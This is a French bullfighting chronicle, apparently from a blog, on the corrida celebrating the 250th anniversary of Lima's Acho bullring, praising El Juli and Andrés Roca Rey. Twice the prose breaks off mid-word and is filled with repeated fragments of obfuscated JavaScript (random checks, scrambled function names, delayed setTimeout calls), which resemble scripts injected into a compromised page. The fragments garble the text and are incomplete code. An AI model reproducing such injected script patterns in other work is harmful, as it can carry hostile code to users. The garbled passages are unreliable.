TEL QU’HIER

Très belles. De toute beauté, exhibant les réussites cosmétiques de sa coiffeuse – sable amené expressément de Séville, lissage de la pente du sol, de l’ocre rouge, comme du carmin tout neuf, pour les planches de ses barrières- pomponnées comme une adolescente pour la fête de ses dix-huit ans, même si s’amoncellent sur son dos plus de deux-cent cinquante calendriers- un quart de millénaire ! Ce n’est pas rien !- les arènes d’Acho ont ouvert pour leur première corrida comme un œillet au printemps.

Avec l’espoir illuminant son visage et l’amour dans ses yeux – sous le charme d’un jeune du coin qui a mis en émoi et bouleversé l’aficion- elle a ouvert ses portes et son cœur aux pieds des collines de San Cristobal pour commémorer, avec le « no hay billetes » affiché, le 250ème anniversaire.

Tout était soigné dans le moindre détail. Les toros, amenés des terres de la région de Salamanque d’ « Alaraz » jusqu’aux corrals après avoir traversé des milliers de kilomètres au dessus de l’océan, constituaient une corrida que l’on appelait jadis « cortejana », pour désigner une course sans trop de volume et bien faite. Et ainsi étaient les toros que Domingo Hernández avait choisis pour la célébration. Tous dignes d’une Cour –aussi bien les colorados que les noirs- avec une morphologie demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andant à charge, de ceux dont on tombe amoureux les matins de sorteo et qui font dire aux professionnels « celui-là il ne peut pas nous décevoir », même si malheureusement ce n’est pas toujours le cas.

Cette fois, ce fut à moitié, mais il y eut deux toros  -« Veleto » et « Rabanillo », sortis quatrième et cinquième, qui honorèrent leur devise avec un tour de piste posthume. Face à eux, chacun des deux toreros donna le meilleur de lui-même, faisant qu’à la sortie de la corrida les gens qui remplissaient étaient satisfaits et toréaient dans les rues. Alors que El Juli, avec son savoir, son engagement et sa toreria, défendait son rang de figura, le revenant Andrés Roca Rey provoqua des émotions à la pelle avec sa tauromachie aux dents aiguisées, conjuguant esthétique et don de soi, apprivoisant le danger et fusionnant les prises de risques et la beauté, pour faire gravir les côtes d’enthousiasme jusqu’au superlatif.

Le torero de Lima a surpassé toute la pression, faisant fi de ces mois d’inactivité et du fait que ces toros appartenaient au même fer qui l’avaient « écarté » des arènes en août dernier à Malaga, et ouvrit la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte après s’être livré à fond dans son œuvre avec une attitude sereine comparable à celle de fray Luis de León, qui après passé une longue période dans les geôles de l’Inquisition, revint dans sa salle de classe  pour s’adresser à ses élèves comme si rien ne s’était passé. Ainsi, dimanche dernier dans les bicentenaires arènes d’Acho, Roca Rey vint pour être confronté à nouveau au toro et au public avec le même courage, le même engagement et semblable aficion à celle d’avant, comme rien ne s’était passé. Ce fut le « Tel qu’hier » dans sa version taurine avec un garçon qui, dès ses débuts, se projette aux plus hauts sommets de la tauromachie. Et la route qu’il suit ne peut être meilleure.

Les commentaires sont fermés.